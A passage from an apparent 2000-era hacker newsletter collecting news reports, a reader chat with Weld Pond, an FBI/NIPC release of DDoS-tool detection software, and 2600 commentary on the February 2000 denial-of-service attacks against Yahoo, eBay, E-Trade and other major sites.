external interface of your proxy servers. Check for open ports,
especially ports 80 (unless you are Web publishing), 3128, 8080, and
10080. Out of 282 systems we scanned, more than one half (151) provide
proxy services to the world. All Internet users have to do is change
proxy settings in their Web browsers to an available proxy server, and
it's clear sailing.
Some Web sites offer free anonymous Web surfing, which is a boon for all
of us privacy paranoids out there, but a nightmare for law enforcement.
Both CyberArmy (www.cyberarmy.com) and Anonymizer (www.anonymizer.com)
offer free, albeit slow, anonymous Web surfing. Connecting to a Web page
through their free services will mask your identity. Connecting through
Anonymizer's ISP you get the following identity:
Connect from sol.infonex.com [209.75.196.2] (Mozilla /4.5 [en] (TuringOS;
Turing Machine; 0.0))logged.
And from CyberArmy's redirector server you get this identity:
Connect from s214-50.9natmp [216.22.214.50] (Mozilla/4.01 (compatible;
NORAD National Defence Network))logged.
TuringOS and NORAD National Defence are spoofed origins that mask the
originating system.
Lucent also has a proxy server meant to protect your privacy
(www.lpwa.com). Like the others, the Lucent Personalized Web Assistant
can make you anonymous by tunneling all of your Web traffic through its
proxy server. The only difference with Lucent is you must provide your
e-mail address to sign in.
Anonymous service providers such as Anonymizer and Lucent have the right
intentions -- protecting your privacy -- but like any umbrella they can
be abused. Services such as these can be a hacker's dream. Anonymizer
offers Internet security and privacy for corporate customers and
individuals, and effectively makes them invisible. They don't store
cookies, they block Java and JavaScript access, and they remove all
identifier strings.
To its credit, Anonymizer severely limits to whom they give shell
accounts. But at $7 a month, anyone with a good story should be able to
obtain one. They keep logs for 48 hours but don't record the source IP
address. To guard against abuse, Anonymizer will shut down service to a
particular Web site if abuse is reported. But with no source IP logging,
it must shut down service to that site for all customers.
Privacy cheerleading
Don't get us wrong, we are the first to jump on the privacy bandwagon
whenever it rolls by, but at what cost? Even if all of the software bugs
contributing to anonymous connections are fixed, more and more ISPs will
inevitably offer anonymous connectivity. How will you defend your site
against the possible onslaught of phantom hack attempts? Will logged IP
addresses quickly turn into ghosts offering little more than a place to
begin? Let us know at security_watch@infoworld.com.
@HWA
124.0 HNN; Feb 10th; E-Trade, LA Times, Datek, ZD-Net Join List of Sites
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Space Rogue
Web Sites around the net are bracing for more attacks
today as such major companies as E-Trade, LA Times,
Datek, and ZD-Net recover from massive denial of
service attacks.
There are lots of rumors flying around the net right now.
Some are pretty far fetched but others are more
believable. One such rumor is it that the packets that
have been used to flood at least one of sites may have
contained content: A source close to HNN says the
content includes "Various references to Mixter, greets
to hacker groups, etc. Several references to the
Internet becoming a "whorehouse of E-commerce". Of
course at this time none of this is confirmed.
Law enforcement agencies are working over time
attempting to track down the perpetrator(s). Some
sources indicate that they may be close to an arrest
while others still say they have little to go on.
What is surprising is that some companies are not
admitting that they were hit by this attack. Microsoft
has admitted that a partner was hit but they would not
identify which one. A Lycos statement said that they
already take 'extensive precautions' and declined further
details. Companies need to realize that clamming up and
closing the doors will not prevent this sort of thing from
happening again. Only through communication and the
sharing and pooling of information will a solution, and
the attacker(s), be found.
The Industry Standard
http://www.thestandard.com/article/display/0,1151,9615,00.html
ZD Net
http://www.zdnet.com/zdnn/stories/news/0,4586,2435609,00.html
Smart Money
http://www.smartmoney.com/smt/markets/news/index.cfm?story=200002092
Wired
http://www.wired.com/news/business/0,1367,34228,00.html
ABC News
http://www.abcnews.go.com/sections/tech/DailyNews/cyberchat0209.html
Bloomberg
http://quote.bloomberg.com/fgcgi.cgi?ptitle=Technology%20News&s1=blk&tp=ad_topright_tech&T=markets_fgcgi_content99.ht&s2=blk&bt=ad_bottom_tech&s=d800d17c2c921d2af0f66e0bc647be53
Fox News
http://www.foxnews.com/vtech/020900/hack.sml
CNN
http://www.cnn.com/2000/TECH/computing/02/09/hackers29.a.tm/index.html
Industry Standard:
February 09, 2000
Web Hacks: Day Three
By Polly Sprenger
For the third day in a row, major Web
sites were hit by denial-of-service attacks
emanating from an unknown server by an
unknown assailant. E-Trade and ZDNet
joined the growing list of downed sites
early Wednesday morning.
The Federal Bureau of Investigation has
scheduled a press conference for
mid-morning Wednesday to review the
damage caused and update the public
about their investigation. Meanwhile, the
much-publicized hacker underground is
searching its ranks for the perpetrator.
Wednesday's shutdowns follow the brief
closure of Yahoo (YHOO) on Monday, and
Amazon.com (AMZN) , eBay (EBAY) ,
CNN.com and Buy.com on Tuesday.
Denial-of-service shutdowns are fairly
simple to pull off; perpetrators simply flood
a recipient Web site with requests for
data, causing the site's servers to
overload.
All of the companies targeted were
anxious to tell the public that although
their site had gone down, there was no risk that sensitive information
had been or would be compromised. "Please understand that this is
strictly a 'denial of service' attack," eBay told its users. "This has
NOT and does NOT jeopardize data, such as credit card information
or auction information."
While the sites wage a public relations campaign deriding hackers and
defending the security of their systems, some of the numerous – and
now famous – hacker groups are busy defending themselves as well.
"That wasn't a hack, it was vandalism," says Chris Tucker, a longtime
member of the hacker group Cult of the Dead Cow. "They're not
hackers, they're vandals. DoS attacks are nothing new, really. In this
case, they were coordinated against big-name sites and got some
press attention."
Organizations like Tucker's and others worry that anti-hacker
paranoia will turn public perception against them.
"We are currently building a consensus among other groups to
address the media's misuse of the term 'hacker' as a community [and]
to defend our good name," said "Macki," a representative of 2600, an
organization which follows issues related to computer security. "We're
working on a more in-depth commentary on this subject and talking
with other groups about addressing the issue together."
Other hackers agreed, adding that the media should focus on the
sites that are getting attacked, not the hacker underground.
"This is a wakeup call for people to show some responsibility before
they hook up servers to the Internet," says "Simple Nomad," another
hacker who lives his corporate life at a mainstream security company.
But aside from the arguments over what does and does not
constitute a hacker, the underground and the law-enforcement
bodies agree on one thing: Tracking down the perpetrator of this
week's actions could be a logistical nightmare.
The perpetrator might be enhancing his street cred by continuing to
bring down sites, but he's not improving the odds of eluding
law-enforcement officials. The acclaimed "Weld Pond," a hacker with
computer security group The L0pht, says that with each new site
that goes down, the FBI gets more of the information it needs to
pinpoint the source of the attacks. "I think they've probably proved
their point and it would be stupid to keep going," he said. Pond is a
"white hat" hacker, meaning that he avoids criminal activity; he says
he hacks because it stretches his mind and enhances his consulting
abilities.
Pond explains that, while each new attack makes the search easier,
"it's hard to trace these things back. When you trace a phone call,
it's trivial. Tracing phone calls is built into the telephone
infrastructure. There is no mechanism like that in the Internet."
The requests that are flooding servers are coming from all over the
country, so tracking down the machines from which the attacks
originated requires a massive coordination effort. Different Internet
service providers have to communicate with one another to pinpoint
a single computer. And even when the machine is found, it seems
unlikely that the vandal will be seated at a desk, typing away,
waiting to be led off in handcuffs.
"They will eventually find the machine that's doing it," says Pond.
"But as for the person..."
"They can only hope that the people who did this are complete
idiots," agrees Simple Nomad. "If they were smart, the packets sent
to Yahoo were forged. All that can be done is to slowly move up the
chain, ignoring where the packet says it is coming from, and look to
see where the traffic itself is coming from. Next, you find the
compromised hosts, and hope that there are clues in logs there.
These hosts were remotely controlled via a client piece of software –
they may be able to trace this back, but the client software is
probably on yet another compromised host. Yuck."
Meanwhile, the latest foray by the mainstream media into hackerdom
has elicited blase reactions from the underground.
"I am being swamped with talking-head requests," sighs Space Rogue,
editor of the Hacker News Network.
Corrections:
An earlier version of this story included Datek among the attacked
sites. In fact, a Datek vendor had experienced a temporary router
problem that was not related to the hacker attacks.
-=-
Smart Money;
February 9, 2000 Inside the Hack Attack on the Web By Cintra Scott and Ian
Mount
IF YOU CAN read this, SmartMoney.com is lucky.
Call it cybervandalism, or even cyberterrorism. In the last 48 hours, it's
been rampant. Using an apparently simple plan of attack known as "denial
of service," an unknown hacker (or hackers) has humbled the Internet's
biggest sites by bombarding them with packets of data.
Simply put, the denial-of-service attacks bring Web sites to their knees
for hours, because their lines are all tied up. In the good news category,
the victims' infrastructures are not at all compromised; no credit card
numbers are stolen nor is anything lost or damaged.
As of midday Wednesday, the list of apparent targets spans from Amazon.com
(AMZN) to ZDNet (ZDZ) — with Buy.com (BUYX), Time Warner's (TWX) CNN.com,
privately held Datek Online, eBay (EBAY), E*Trade Group (EGRP), TD
Waterhouse (TWE) and Yahoo! (YHOO) reporting apparently related problems.
Most of these sites have experienced slowdowns and outages for a few hours
in some U.S. locations. So far, the financial impact of the outages has
been called negligible by analysts, but the fear is that it could happen
again (and again).
That could be why the Nasdaq rally finally pooped out Wednesday, after the
composite index hit new highs on both Monday and Tuesday. Amazon.com
shares fell $10.72, or 2.9%; eBay shed $5.75, or 3.4%; E*Trade sunk $1.13,
or 4.3%, and Yahoo was down $10.75, or 2.9%. But unlike those Internet
blue chips, Buy.com stock climbed $2.38, or 9.5%, to $27.50. Buy.com
shares have been trading for only two days, and the site has experienced
apparent hacking troubles on both days.
While many consumers are hearing about the problem for the first time this
week, the tech community has been aware of the threat for years. The FBI's
National Infrastructure Protection Center has issued many alerts on the
latest "DoS" threats. Most recently, on New Year's Eve, the FBI warned
that it had seen "multiple reports of intruders installing distributed
denial-of-service tools on various computer systems to create large
networks of hosts capable of launching significant coordinated packet
flooding denial-of-service attacks." (Got that?)
This afternoon, Attorney General Janet Reno announced a criminal
investigation into the matter, vowing that federal law-enforcement
officials would do everything in their power to combat cyberterrorism. And
at a press conference this afternoon, the FBI's Ronald Dick suggested the
attacks could be related to the recent proliferation of two hacking
programs called Tribe Flood Network (TFN) and TRINOO. Meanwhile, the
hacking site 2600 reports that the assaults may have been launched with
another troublesome "tool" called Smurf.
Mischievous hackers can download such programs from various sites on the
Web. Then, using fairly basic hacking techniques, they install the program
on several hundred low-security servers and then set them to go off at a
certain time. (These hosts may be computers at schools and universities,
which often have fairly lax security.) The hackers can then launch a
coordinated flood of hundreds of packets of data to a targeted Web site.
Imagine the data packet says "hi" to each of the Web site's servers. Each
server then acknowledges the packet by responding with something like
"yes, I'm here." Those responses then trigger more packets of information,
and the attack is amplified (hundreds multiplied by hundreds of packets).
And that's how the resulting data traffic jam clogs up the servers. It's a
high-tech equivalent of tying up an 800 number by getting all your friends
(and all their friends) to call in at once. Nobody else can get through.
"The problem is that it's next to impossible to prevent," says Robert
Kolstad, an editor of security news for SANS (System Administration,
Networking, and Security) Institute, a cooperative research organization.
Once the problem is detected, Kolstad notes, the Web site's administrators
can try to repel some of the packets with filters, as Yahoo did on Monday.
The filters reject data packets coming from any suspicious locations. With
some quick work, an attack can be thwarted with minimal down time. But
clever hackers can make filtering cumbersome if their packets seem to
originate from, say, thousands of locations that keep shifting. So far,
though, eBay, E*Trade and the rest have been up and running again within a
couple of hours.
Such attacks don't require heavy computing power. According to Weld Pond,
a research scientist at Boston-based security consultancy @Stake (who uses
a hacking handle instead of his real name), all that's necessary is a fast
connection with which to set off the flood. "It could be a five-year-old
computer, but if it's sitting on a network at a university or corporation,
it probably has a really good connection to the Internet," he says.
Nor do these denial-of-service attacks display much skill or originality.
The programs are easily downloadable from various hacking sites on the
Web. And while it's time-consuming to hack into and prepare the hundreds
of servers required to overwhelm a Web site, Weld Pond says it's not
particularly difficult. "It's the kind of thing that, if you were at
average proficiency with Internet software, you could probably learn in a
few hours," he says. "It probably took a few months to set up, to gather
the amount of machines to attack. Whoever's doing this is industrious."
Because of the anonymity and ease of the attacks, it's very difficult to
track down who launched them. The assault may seem to come from servers in
New York or Mountain View, Calif., but the hacker may be a loner in a
basement in Crested Butte, Colo. "The speculation is that they're going to
brag about it," Kolstad says. And that, he thinks, is the best hope for
tracking down the perpetrators.
The attacks also seem to show a vicious sense of humor. The first assault,
on Yahoo, came a few short minutes after AT&T Labs security expert Steven
Bellovin gave a speech on denial-of-service attacks at the just-completed
North American Network Operators' Group (NANOG) meeting in San Jose,
Calif., which suggests that the attacks were timed by "someone trying to
prove a point," Weld Pond says.
Whatever point that was, computer experts express disdain for whoever is
behind the attacks. Mark Gebert, senior systems research programmer at
Merit Network, the nonprofit regional network that sponsors the NANOG
meetings, bristles at
the labeling of the attackers as "hackers." According to Gebert, they
are known in the computer community as "crackers" and "script kiddies"
because of their dependence on preprogrammed tools. Their assaults on
Web sites may not be particularly elegant or inventive — but that
doesn't make them any less illegal.
-=-
Smells Like Mean Spirit
by Leander Kahney
10:50 a.m. 9.Feb.2000 PST Hackers, who pride themselves on Web attacks
with a purpose, are scornful of the "packet monkeys" responsible for this
week's attacks on Yahoo, CNN, and other high-profile sites.
The cracker or crackers responsible for the attacks have been
contemptuously dubbed "packet monkeys" because their exploits involve
flooding a site with packets of information and, detractors say, betray a
distinctly simian intelligence.
Like "script kiddies" who use well-documented techniques and readily
available software to deface Web sites, packet monkeys are dismissed as
adolescent vandals by a community that celebrates know-how, originality,
and creativity.
"There's no technical prowess whatsoever in these kind of attacks," said
"Space Rogue," a research scientist with @Stake (formerly the highly
respected L0pht Heavy Industries) and editor of the Hacker News Network.
"This isn't anything new. This is old, tired technology someone is
running in a big way."
"This kind of thing is really frowned on," said YTCracker, a 17-year-old
high school student from Colorado, who recently claimed responsibility for
cracking a number of U.S. government sites. "It's a bunch of bored kids
trying to show they have the guts to do this.... We don't like to be
associated with these people."
No one has come forward to claim responsibility for the attacks.
Unlike a vandalized Web site, where the cracker usually leaves a moniker,
says hi to his friends, or taunts law enforcement, a packet monkey attack
leaves no public traces and no clue to the cracker's identity.
Space Rogue said crackers typically advertise their exploits to gain
acceptance with their peer group. In fact, this is frequently the motive
for the attack.
"It makes you wonder what kind of person is pulling this off and why
they're doing this," he said. "There's no public record, no boasting,
nothing left behind."
Space Rogue said there is also very little gossip about the identity and
motive of the attackers.
"Rumors are scarce on this one," he said. "That's unusual.... My gut
feeling tells me it's an individual and not a group, but I don't have any
evidence to back that up."
Although most hackers condemn the attacks, at least one poster to Slashdot
professed his "grudging admiration" for what appears to be a concerted
demonstration against the commercialization of the Internet.
"This is the equivalent of a blockade -- a formal, organized protest,"
wrote "Swordgeek." "Not throwing rocks through windows so much as linking
arms in front of a police line.
"The brats and miscreants may have gotten their shit together and started
to fight for something worthwhile, rather than simply for the hell of it."
-=-
ABC
A Tangled Web: A Chat with Former Hacker “Weld Pond”
Feb. 9 —ZDNet became one of the latest victims
of a cyber attack
when the site was
taken offline for at
least two hours
today. A ZDNet
spokeswoman told
ABCNEWS.com
the company
believes the strike most likely came from the
same group of attackers responsible for
knocking at least four other major Web sites
offline, including Amazon.com and eBay.com,
in the past two days.
Why are these major sites under attack? Who is
responsible for these acts, and can the culprits
be caught? How secure is the Internet?
Former hacker “Weld Pond” answered
questions from ABCNEWS.com readers today
in an online chat. Weld has testified before the
Senate on the state of Internet security and is
currently a research scientist at security services
provider @Stake. Below is a transcript of the
chat.
Moderator at 2:58pm ET
Welcome to our live chat with former hacker "Weld
Pond." Thanks for being here today.
Weld Pond at 2:59pm ET
Hi, glad to be here.
Moderator at 2:59pm ET
Any idea who's responsible for these recent cyber
attacks?
Weld Pond at 3:00pm ET
It could be anybody from a 15-year old kid to a foreign
government. But I think it is more likely the former.
Kingpin from 230.73.33.cypresscom.net at 3:01pm ET
Why do you think it takes a major event such as this to
occur before people begin to think about security?
Shouldn't security be designed into the system from the
start, not added AFTER something happens?
Weld Pond at 3:01pm ET
Because it takes time and money to design security from
the start. People are optimists and don't think the worst
will happen.
KBear at 3:02pm ET
Should companies be worried that hackers might have
contacts inside their firms? People with grudges?
Weld Pond at 3:03pm ET
People should be worried about insiders at a company
more than outsiders. This is how most security breaches
occur. They just are not reported that often.
Moderator at 3:03pm ET
Tipo asks: How does someone become a hacker? Is
there some sort of initiation?
Weld Pond at 3:04pm ET
There is no initiation to become a hacker. Most are
self-taught and are reasonably proficient before they seek
out other hackers to exchange information with.
M T Bethel from viagrafix.com at 3:04pm ET
What would be the benefit to anyone (or group) who
would coordinate such an attack?
Weld Pond at 3:05pm ET
I think these big name attacks are mostly for bragging
rights. To impress your peers.
Moderator at 3:05pm ET
Matthew asks: Is this a lesson in how fragile the Internet
is, or a new form of terrorism?
Weld Pond at 3:07pm ET
Well I think it is both. The Internet was not designed to be
robust to denial of service attacks. It just wasn't thought
about at the time. This is a new form of terrorism. People
follow the technology to where the important and
powerful are and try to disrupt and scare them.
RBeesto from co.polk.ia.us at 3:07pm ET
Do you think this is the start of some kind of cyber siege,
to be duplicated by numerous copycats?
Weld Pond at 3:07pm ET
I think it will be copied. With all the media attention this is
getting it is the perfect way for someone to gain attention.
Goodguy at 3:08pm ET
Do you have the knowledge or ability to do something like
this?
Weld Pond at 3:09pm ET
Yes. Anyone who follows the computer security forums
on the Internet knows how to do this. The tools and
instructions are available widely. This is just the first time
someone has tried it on very big Web sites.
Howard at 3:09pm ET
How is a "denial of service" attack harder to secure
against than an electronic break-in? What steps would
YOU take if you were Yahoo, or eBay?
Weld Pond at 3:10pm ET
It is much harder because the attacker is taking advantage
of what the network was designed to do — deliver a lot
of packets (or data) efficiently. It is hard to tell just busy
network traffic from the attack traffic.
To stop it you need to understand the exact attack and try
to filter it out on the routers that connect the Web sites to
the Internet.
Martel from cc.ncsu.edu at 3:11pm ET
Do you think these high-profile attacks may be a
distraction from smaller, intrusive attacks against other
sites?
Weld Pond at 3:11pm ET
Quite possibly. These attacks could be just a diversionary
tactic. That is a standard technique to get around security
mechanisms.
Crackerjack at 3:12pm ET
How hard will it be for the FBI to track down the parties
responsible?
Weld Pond at 3:13pm ET
It is very difficult to track down the attacker in a denial of
service attack. The data sent in the attack does not have
to have valid return addresses so the packets need to be
traced back one router hop at a time.
Moderator at 3:14pm ET
PJ asks: What's the likelihood of these crackers being
caught? Do you think they're afraid of being caught?
Weld Pond at 3:15pm ET
The attackers have probably taken steps to anonymize
themselves. It will be difficult to track them down. The
longer they keep doing it the more time they give to be
traced back however.
Moderator at 3:15pm ET
RayHS1 asks: What actual crimes or offenses have been
committed with these attacks?
Weld Pond at 3:16pm ET
It is a federal crime to disrupt someone's computer
service. The same law that was used to prosecute the
writer of the Melissa virus would be used in this case.
null from enoch.org at 3:17pm ET
Weld, l0pht has said in the past that one of the best ways
to carry across the message that the term 'hacker' does
not necessarily equate 'criminal' to the general public is for
non-criminal hackers to identify themselves as such. Does
it bother you, then, to be featured on ABCNews.com
billed as a "former hacker"?
Weld Pond at 3:18pm ET
I would rather still be called a hacker than former hacker.
I'm wearing an @Stake tshirt right now and it has
"Hacker" emblazoned on the back. :-)
John in Dallas from cadence.com at 3:18pm ET
What about the small companies — how do small
companies protect against this type of stuff without the
capital to purchase all this protection ?
Weld Pond at 3:19pm ET
Small companies need to demand better security from
their vendors, whether they are their ISPs, hardware, or
software providers.
aj from rpr.rpna.com at 3:19pm ET
If the hackers do not have a valid address or IP address,
how do they access the Net and wouldn't that flag an ISP
somewhere?
Weld Pond at 3:20pm ET
They are connected with a valid IP address but they can
still send other data that has invalid IP addresses unless
their ISP is filtering/detecting that. Most ISPs do not do
this. That is a problem that needs to be fixed.
BVRWINS from city.palo-alto.ca.us at 3:21pm ET
Can attacks like these be carried out by a single
computer? Or are these coming from an organized group?
Weld Pond at 3:21pm ET
There are probably a few computers that are controlling
100s or 1000s of machines in tandem. That is the only
way a huge site like Yahoo could be taken down with
denial of service.
John from cm-media.com at 3:22pm ET
Hackers often claim they're performing a service by
liberating information and testing security systems. Do you
see any such "positive" effects in these cases, or is it
simple harassment?
Weld Pond at 3:23pm ET
Sometimes it takes an actual demonstration of the
problem before anyone does anything. I don't advocate
denial of service attacks but I can see how they are a
wake-up call to people who have been ignoring the
problem.
aNoViCe at 3:24pm ET
Are there legitimate reasons for data not to have valid
return addresses? If not, wouldn't it solve the problem to
have servers not accept packets without valid return
addresses?
Weld Pond at 3:26pm ET
There is no legitimate use for them. All routers should
have ingress filters to make sure that the IP addresses they
are accepting are valid. It is not feasible to check for
validity on the Internet backbone routers or at the Web
site's router. This test must be done at each ISP that
connects an organization or person to the Internet. This
needs to be done to start to combat this problem.
Dan in Philly at 3:27pm ET
Do you believe the glorification that comes with such
media exposure will fuel others to attempt similar attacks,
and if so what can the media do with companies to
responsibly report such problems?
Weld Pond at 3:28pm ET
I think it will definitely fuel more copycats. I think having
other hackers speaking out that denial of service attacks
are stupid and that they do not show any technical
prowess may help. The people who launch these attacks
are just vandals and they should be described that way.
jbomma from ford.com at 3:28pm ET
Isn't this really an example of the adage: "Criminals are
always one step ahead". Once this problem is solved,
hackers will continue to invent new types of attacks, will
they not?
Weld Pond at 3:13pm ET
These types of attacks were well known for at least a
year. It is just that no one has taken the time to try and
come up with a solution until now. It seems like the
attackers are a step ahead but it is only because the public
only finds out about the problems after the attackers
strike.
Moderator at 3:23pm ET
Suppression asks: Are you concerned that the officials
may go too far in their attempt to find these individuals? Is
there a real possibility of a permanent invasion of privacy
as to the activity of law-abiding Web users?
Weld Pond at 3:33pm ET
It scares me that the government may take a monitoring
and surveillance approach to solving these problems. I
don't think this is a good solution plus it invades the
privacy of law-abiding Internet users. The solution is to
design secure networks and to secure the computers that
are being compromised to launch the distributed attacks
from.
Moderator at 3:33pm ET
Thanks for your time today, Weld. Any final words for
our audience?
Weld Pond at 3:34pm ET
It was great to be here to answer these questions. I think
that eventually there will be a solution to these denial of
service problems. But I think it will take some time to
design and put in place. Until then I expect to see more
attacks like this.
Moderator at 3:35pm ET
Stay with ABCNEWS.com for continuing coverage of
this story. And click here to check out other recent
ABCNEWS.com chats.
-=-
CNN:
Classic Hackers Decry
Heavy-Handed Upstarts
February 9, 2000
Web posted at: 4:14 PM EST (2114 GMT)
By Jessica Reaves
In the world of Internet hacking, as in the world of rap music, there is
the old school, and then there are the insurgents. The former tends to
view the latter with some suspicion, and perhaps a bit of jealousy. Such
was the case Wednesday; establishment hackers are up in arms over the
media attention paid to Monday and Tuesday's attacks on Yahoo, eBay, CNN
and Buy.com. "We find that there are already ample words in the English
language to describe such miscreants and call upon the media to define
them by their actions, as they are all we know them by at this point,"
fumed the editors of 2600, The Hacker Quarterly.
Fiercely protective of their reputation, longtime hackers are locked in a
love-hate relationship with web site designers, who grudgingly appreciate
hackers' talent for pinpointing serious security lapses. "Hacking is
generally accepted to be the arena of very smart people," says Stuart
McClure, president of Rampart Security Group in Irvine. "Denial of service
attacks, like what happened to Yahoo and eBay, are seen as
bottom-of-the-barrel assaults; they don't require a lot of brains."
When a site has been hacked, its appearance is often altered by
chest-beating hackers who leave the cyber equivalent of a "Kilroy was
here" scrawl. This week's attacks, on the other hand, bombarded various
high-traffic sites with an overflow of information, effectively shutting
down normal operations. How do the perpetrators send so much data so
quickly? Apparently, the most recent assaults are not typical denial of
service pranks, which generally are sent from only one or two computers at
a time. "These people scan the Internet for vulnerable systems, and they
hack into those systems, and then use hundreds of those computers,
remotely, to send the attack," says McClure.
The latest string of invasions may inspire some instances of increased
security, says McClure, but consumers shouldn't expect a sudden influx of
super-secure sites. "There are ways to keep these attacks from happening,
but few companies implement them. Security tends to take a backseat to
aesthetics and ease of service at the site," McClure says. And while Net
businesses may be tempted to pump their time and money into the more
visible aspects of a site, the current threat to their bottom line may
force them to rethink their priorities. After all, seeing a
multibillion-dollar web site brought to its knees by a group of
not-so-bright pranksters doesn't inspire a whole lot of confidence on Wall
Street -- or among consumers and
advertisers.
Copyright © 2000 Time Inc.
@HWA
125.0 HNN: Feb 10th; NIPC Releases Detection Tools
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by jericho
NIPC has developed a new release of the software
application that will detect tfn2k client, tfn2k daemon,
trinoo daemon, trinoo master, tfn daemon, tfn client,
stacheldraht master, stacheldraht client, stachelddraht
demon and tfn-rush client. This new version
(find_ddosv31) is now available for Solaris on Sparc or
Intel platforms and Linux on Intel platforms and will no
longer improperly identify itself or any previous version
as a DDOS program.
NIPC
http://www.fbi.gov/nipc/trinoo.htm
Unfortunately they are only distributing executables and
not source. With all the recent cases of the FBI and
NSA trying to pass legislation that will allow them to
backdoor various communications systems, computer
networks and everything else.. how could anyone trust
these?
FBI:
UPDATED Version 3.1 Released
NATIONAL INFRASTRUCTURE PROTECTION CENTER; TRINOO/Tribal Flood Net/tfn2k
During the past few weeks the NIPC has seen multiple reports of intruders
installing distributed denial of service tools on various computer
systems, to create large networks of hosts capable of launching
significant coordinated packet flooding denial of service attacks.
Installation has been accomplished primarily through compromises
exploiting known sun rpc vulnerabilities. These multiple denial of service
tools include TRINOO, and Tribe Flood Network (or TFN & tfn2k), and has
been reported on many systems. The NIPC is highly concerned about the
scale and significance of these reports, for the following reasons:
Many of the victims have high bandwidth Internet connections,
representing a possibly significant threat to Internet traffic.
The technical vulnerabilities used to install these denial of service
tools are widespread, well-known and readily accessible on most
networked systems throughout the Internet. The tools appear to be
undergoing active development, testing and deployment on the
Internet. The activity often stops once system owners start filtering
for TRINOO/TFN and related activity.
Possible motives for this malicious activity include exploit
demonstration, exploration and reconnaissance, or preparation for
widespread denial of service attacks.
NIPC requests that all computer network owners and organizations rapidly
examine their systems for evidence of these distributed denial of service
(DDOS) tools (specific technical instructions are available from CERT-CC,
SANS, NIPC, or other sources).
The NIPC is making available on its web site a software application that
can be used to detect the presence of these DDOS tools.
Recipients are asked to report significant or suspected criminal activity
to their local FBI office or the NIPC Watch/Warning Unit, and to computer
emergency response support and other law enforcement agencies, as
appropriate. The NIPC Watch and Warning Unit can be reached at (202)
323-3204/3205/3206, or nipc.watch@fbi.gov.
This latest update reflects that NIPC has developed a new release of the
software application that will detect tfn2k client, tfn2k daemon, trinoo
daemon, trinoo master, tfn daemon, tfn client, stacheldraht master,
stacheldraht client, stachelddraht demon and tfn-rush client. This
new version (find_ddosv31) is now available for Solaris on Sparc or Intel
platforms and Linux on Intel platforms and will no longer improperly
identify itself or any previous version as a DDOS program.
This executable (find_ddosv31_{platform}.tar.Z) is for Solaris 2.5.1, 2.6,
and Solaris 7 on the {Sparc} or {Intel} platforms, and {Linux} on Intel
platforms. This file will not work on a Windows-based PC.
(Follow link for executables - Ed)
-=-
Press Release:
For Immediate Release
December 30, 1999
Washington D.C.
FBI National Press Office
The FBI today issued the following statement:
Over the last several weeks, the National Infrastructure Protection Center (NIPC) has
received multiple reports of the presence of Distributed Denial of Service (DDOS) tools
on computer systems in the United States. The NIPC issued alerts about these tools
on December 6, 1999 and today (see http://www.nipc.gov). The CERT at Carnegie
Mellon has also issued an incident note (IN-99-OT) on November 18, 1999, and an
update on December 28, 1999 (see http://www.cert.org/incident_notes/IN-99-07.html).
These DDOS tools have also now been reported by the media and published on the
Internet. These DDOS tools, such as "trin00" and "Tribe Flood Network" ("tfn"), are
capable of generating sufficient network traffic to render the targeted network or
computer system inoperable. Installation has been accomplished primarily through
compromises exploiting known Sun RPC vulnerabilities. Basically, these tools allow an
intruder to have multiple victim systems launch denial of service attacks against other
systems that are the ultimate target.
The NIPC has developed a software application that can be used by system
administrators to scan their computer systems to determine whether they contain the
"trin00" or "tfn" tools and therefore might be used as part of a DDOS attack on another
network. The latest version of this detection software can be downloaded from the NIPC
Internet Web site (http://www.nipc.gov). The NIPC requests that computer network
administrators report the detection of DDOS tools or other apparent criminal activity on
their systems to their local FBI Field Office or to the NIPC at nipc.watch@fbi.gov.
NIPC Director Michael Vatis stated: "A central part of the NIPC's mission is to help
protect critical computer networks by alerting private industry and government agencies
of potential threats before an attack occurs. In this case, we have gone one step
further by developing a software application that can be used to detect the presence of
a significant hacker tool and neutralize it."
The NIPC commenced its Y2K Command Post at FBIHQ yesterday, and will operate 24
hours a day until January 5. In addition, each FBI Field Office has initiated a Command
Post. These Command Posts have been established to facilitate the FBI's detection of
and response to any criminal activity, cyber or physical, that might occur during the
Millennium rollover period.
The NIPC is a multi-agency organization whose mission is to detect, warn of, respond
to, and investigate computer intrusions and other unlawful acts that threaten or target
our Nation's critical infrastructures. Located in the FBI's headquarters building in
Washington, D.C., the NIPC brings together representatives from the FBI, other U.S.
government agencies, state and local governments, and the private sector in a
partnership to protect our Nation's critical infrastructures. More information on the NIPC
is available on the World Wide Web at http://www.nipc.gov.
The following MD5 checksums should be used to validate the files available for
downloading:
MD5 (README-find_ddos) = 4f6269ebb6b695162ccd919c4df9385d
MD5 (find_ddos.tar.Z) = 4522f64b491664f93eca27283d2f77ba
@HWA
126.0 HNN: Feb 10th; The Underground Reaction
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Macki and Bronc
2600.com has an interesting viewpoint on this whole
mess and the media representations of hackers.
2600.com
http://www.2600.com/news/2000/0209.html
Bronc Buster has posted an article with more opinions
from the underground about these recent attacks.
The Synthesis
http://www.thesynthesis.com/tech/takedown/index.html
2600:
HACKERS TO BLAME? DOUBTFUL
02/09/00
We feel sorry for the major Internet commerce
sites that have been inconvenienced by the
Denial of Service attacks. Really, we do. But we
cannot permit them or anyone else to lay the
blame on hackers.
So far, the corporate media has done a very bad
job covering this story, blaming hackers and in
the next sentence admitting they have no idea
who's behind it. Since the ability to run a
program (which is all this is) does not require
any hacking skills, claiming that hackers are
behind it indicates some sort of knowledge of
the motives and people involved.
This could be the work of someone who lost their
life savings to electronic commerce. Or maybe
it's the work of communists. It could even be
corporate America itself! After all, who would
be better served by a further denigration of the
hacker image with more restrictions on
individual liberties?
Let's look at the headlines:
"Government sees cyber-attacks as disruption of
commerce."
"Justice Department wants more funds to fight
cyber crime."
Didn't take them long, did it? And later in the
same story: "But the FBI may never know who is
responsible for the cyber-attacks, due to the
difficulty in tracing the electronic trails, a
senior law enforcement source told CNN."
How convenient. An unseen villain. No need for
any actual FACTS to be revealed, but plenty of
blame to be cast on hackers everywhere. We find
it to be a bit too contrived.
Whoever is responsible is either completely
clueless or knows EXACTLY what they're doing.
It's the latter that should concern hackers
everywhere.
Number of times hackers were named or
implied as culprits on these sites:
cnn.com 14
msnbc.com 13
zdnet.com 4
abcnews.com 0
-=-
Bronc;
So it comes to pass, the biggest names of the Internet are taken down in
